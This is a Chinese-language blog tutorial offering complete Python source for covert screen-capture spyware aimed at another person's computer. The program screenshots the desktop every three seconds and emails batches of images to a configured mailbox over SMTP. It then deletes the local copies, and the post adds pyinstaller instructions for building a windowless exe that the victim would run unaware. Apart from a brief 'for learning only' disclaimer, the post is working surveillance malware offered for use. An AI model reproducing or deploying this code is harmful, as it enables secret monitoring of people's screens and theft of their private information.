博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
想要远程获取对方的桌面?Python教你一招搞定!
阅读量:4027 次
发布时间:2019-05-24

本文共 6554 字,大约阅读时间需要 21 分钟。

申明

本文章仅供学习使用


先说一下功能的实现方式:

让对方的电脑自动截图,并且通过邮件的方式发给指定邮箱

再说一下需要的包:需要下载pyautogui以及email包,下载方式为在cmd命令行下输入pip install + 包名,或者python -m pip install + 包名。


首先,我们import一些库

import os    #os库主要用于人机交互,可以新建文件夹、执行cmd命令以及列出文件夹内文件名import pyautogui    #用于截图import time      #计时

然后,再import一些库

import smtplibfrom email.mime.text import MIMETextfrom email.mime.multipart import MIMEMultipartfrom email.header import Headerfrom email.mime.image import MIMEImagefrom email.utils import formatdatefrom email.mime.application import MIMEApplication

这些库主要用于发送邮件

然后,开始真正的正文部分:

def screenshot(num):    img = pyautogui.screenshot()      #截取屏幕    img.save("D:/123/" + str(num) + '.jpg')    #保存数据

这个函数很简单,仅两行。第一行的意思是将当前的屏幕以数据的方式保存到img变量中,第二行的意思是将img的数据保存到对应的路径中。路径可以自行设定,这里设为D盘。

def sendmail(list):    mail_host = 'smtp.qq.com'    sender = 'xxxxxx@qq.com'#发送者的邮箱    sendpw = 'xxxxxx'#密码或者授权码    receiver = ['xxxxxx@qq.com']#接受者邮件    message = MIMEMultipart()    message['From'] = Header("EGG's PC",'utf-8')    message['To'] = Header("sr",'utf-8')    subject = 'EGG'    message['Subject'] = Header(subject,'utf-8')    #添加图片    for i in list:        with open("D:/123/" + i,"rb")as f:            part2 = MIMEApplication(f.read())        part2['Content-Type'] = 'application/octet-stream'        part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i        message.attach(part2)    try:        smtpObj = smtplib.SMTP_SSL(mail_host)        smtpObj.connect(mail_host,465)        smtpObj.login(sender,sendpw)        smtpObj.sendmail(sender,receiver[0],message.as_string())        print("OK")    except:        print("NO")

这一段的代码量有点大,我们分开来讲。

首先:

mail_host = 'smtp.qq.com'sender = 'xxxxxx@qq.com'#发送者的邮箱sendpw = 'xxxxxx'#密码或者授权码receiver = ['xxxxxx@qq.com']#接受者邮件

因为我们通过python自动发邮件,所以需要在登录邮箱的服务器,然后再发送信息。

这一块的代码主要是提供登录信息,提供邮箱服务器地址、发送者的账号密码以及接受者的地址,这里可以添加多个接受者,在列表内用逗号隔开就行。

message = MIMEMultipart()    #申明变量message['From'] = Header("EGG's PC",'utf-8')   #设置头message['To'] = Header("sr",'utf-8')    #设置发送给谁subject = 'EGG'    #设置主题message['Subject'] = Header(subject,'utf-8')

在这块代码中,我们先申明一个变量message接收数据(这个时候message还为空,需要后面添加)

然后再给message设置各种格式,给大家看看效果图:在这里插入图片描述
上面的三行分别是Subject,From,以及To。
这里由于编码的原因所以变乱码了,用英文来表达就比较好。

#添加图片for i in list:    with open("D:/123/" + i,"rb")as f:        part2 = MIMEApplication(f.read())    part2['Content-Type'] = 'application/octet-stream'    part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i    message.attach(part2)

这个list是由函数传入的一个列表,里面装了我们需要加入到message的图片的名字(比如1.jpg,2.jpg啥的)。

for i in list:
这一句将list的变量依次复制给变量ii是图片的名字,接下来便是以二进制的方式打开文件,并且赋值给变量part2,这个part2是我们需要添加到message中的。
接下来给message设置一下格式,将'Content-Type'设置为'application/octet-stream',将'Content-Disposition'设置为'attachment',最后再附加上filename。因为图片是保存在D:/123中,所以文件名前面加上路径。
最后,利用attach将内容添加进我发送的信息中。因为这里只发送图片,便只讲图片的添加方式,如果添加其他类型的文件也一样的,改一下文件名即可。

try:    smtpObj = smtplib.SMTP_SSL(mail_host)    #建立smtp连接    smtpObj.connect(mail_host,465)     #利用465端口连接    smtpObj.login(sender,sendpw)    #登录    smtpObj.sendmail(sender,receiver[0],message.as_string())    #发送信息    print("OK")except:    print("NO")

前面将信息准备好,全部存放在message中,这里需要将信息发送到指定的邮箱中。于是先建立SMTP连接,用SSL方式连接更可靠。

本来发送端口是25端口,但是这个端口的漏洞比较多,所以现在一般被关掉,用465端口。
然后利用账号密码登录邮箱,这里注意,填的sendpw一般是授权码。
最后就是将信息发出。

接下来讲一下主函数:

if __name__ == "__main__":    max_num = 10    li = os.listdir("D:/")    if "123" not in li:        os.mkdir("D:/123")            i = 0    while True:        screenshot(i)        time.sleep(3)        i += 1        if i % max_num == 0:            list = os.listdir("D:/123/")            print(list)            sendmail(list)            os.popen(R"del D:\123\*.jpg")

首先,设定一个max_num,毕竟不能每生成一张图片就发送过来,那样需要打开的邮件要非常多。但是也不能堆成一堆了再发过来,图片太大可能导致发送失败。

li = os.listdir("D:/")if "123" not in li:    os.mkdir("D:/123")

os.listdir()函数可以列出对应文件夹下有哪些文件或者文件夹,以列表的形式返回。判断我们需要的123文件夹是否已经建立,若没有建立,那就利用os.mkdir()函数新建一个123文件夹。

i = 0while True:    screenshot(i)    #截图并保存    time.sleep(3)    #休眠3秒    i += 1                #计数    if i % max_num == 0:      #每一定数量的图片汇总后再发送        list = os.listdir("D:/123/")         #获得当前文件夹下所有图片的文件名        print(list)                      #显示一下是哪几张图片,可以不要         sendmail(list)              #发送邮件        os.popen(R"del D:\123\*.jpg")    #清空文件夹下所有图片

首先利用前面定义的screen()函数截图,然后休眠一段时间。

然后每10张图片汇总后对图片进行发送。
最后利用os.popen()函数执行cmd命令。cmd命令为del *.jpg用来清空所有的jpg文件。但是我们需要清空的不是当前目录下的文件,而是D:/123下的文件,所以需要加上对应路径,也就成为了del D:\123\*.jpg
但是在python中,\是反斜杠,起到转义作用,比如\n是换行的意思。如果用在字符串中,系统会默认是转义字符的意思,而不是路径名。解决方法有两个:
1.字符前面加一个R或r,例:R"del D:\123\*.jpg"
2.将\本身转义,例:del D:\\123\\*.jpg
讲解结束,挂上完整代码供大家使用:

import osimport pyautoguiimport timeimport sysimport smtplibfrom email.mime.text import MIMETextfrom email.mime.multipart import MIMEMultipartfrom email.header import Headerfrom email.mime.image import MIMEImagefrom email.utils import formatdatefrom email.mime.application import MIMEApplicationimport email.mime.multipartimport email.mime.textdef screenshot(num):    img = pyautogui.screenshot()    #path = "C:\Users\Administrator\Pic\" + str(num) + '.jpg'    img.save("D:/123/" + str(num) + '.jpg')def sendmail(list):    mail_host = 'smtp.qq.com'    sender = 'xxxxxx@qq.com'#发送者的邮箱    sendpw = 'xxxxxx'#密码或者授权码    receiver = ['xxxxxx@qq.com']#接受者邮件        message = MIMEMultipart()    message['From'] = Header("EGG's PC",'utf-8')    message['To'] = Header("sr",'utf-8')    subject = 'EGG'    message['Subject'] = Header(subject,'utf-8')    #添加图片    for i in list:        with open("D:/123/" + i,"rb")as f:            part2 = MIMEApplication(f.read())        part2['Content-Type'] = 'application/octet-stream'        part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i        message.attach(part2)            try:        smtpObj = smtplib.SMTP_SSL(mail_host)        smtpObj.connect(mail_host,465)        smtpObj.login(sender,sendpw)        smtpObj.sendmail(sender,receiver[0],message.as_string())        print("OK")    except:        print("NO")    if __name__ == "__main__":    max_num = 10    li = os.listdir("D:/")    if "123" not in li:        os.mkdir("D:/123")            i = 0    while True:        screenshot(i)        time.sleep(3)        i += 1        if i % max_num == 0:            list = os.listdir("D:/123/")            print(list)            sendmail(list)            os.popen(R"del D:\123\*.jpg")

代码讲解结束了,这里附上几点注意事项:

  1. 163邮箱最近出了一个安全码啥的,所以发送邮箱不要用163的,容易失败(我试了一晚上不能用)
  2. 可以使用pyinstaller命令来打包文件,将py文件打包成exe文件。没有pyinstaller库的可以在cmd下利用pip install pyinstaller或者python -m pip install pyinstaller。使用的方式为:在cmd下,切换到对应目录,执行:pyinstaller -F xxx.py -n +你希望转成的exe的名字 -w -F后面跟py文件的名字,-n后面跟你想要的exe的名字,-w是静默运行的意思,也就是说当对方双击exe文件时不会出现窗口。

转载地址:http://uxpbi.baihongyu.com/

你可能感兴趣的文章
读书 | 如何像沉迷游戏一样对工作上瘾?
查看>>
如何确保自己的Mac数据安全呢?这里有四个“小秘诀”
查看>>
如何用好碎片化时间,让思维更有效率?
查看>>
第一性原理:戳中问题本质的人是怎么思考的?
查看>>
No.147 - LeetCode1108
查看>>
No.148 - LeetCode771
查看>>
No.174 - LeetCode1305 - 合并两个搜索树
查看>>
No.175 - LeetCode1306
查看>>
No.176 - LeetCode1309
查看>>
FE:http状态码
查看>>
No.182 - LeetCode1325 - C指针的魅力
查看>>
mac:移动python包路径
查看>>
mysql:sql create database新建utf8mb4 数据库
查看>>
mysql:sql alter database修改数据库字符集
查看>>
mysql:sql alter table 修改列属性的字符集
查看>>
mysql:sql drop table (删除表)
查看>>
mysql:sql truncate (清除表数据)
查看>>
scrapy:xpath string(.)非常注意问题
查看>>
yuv to rgb 转换失败呀。天呀。谁来帮帮我呀。
查看>>
yuv420 format
查看>>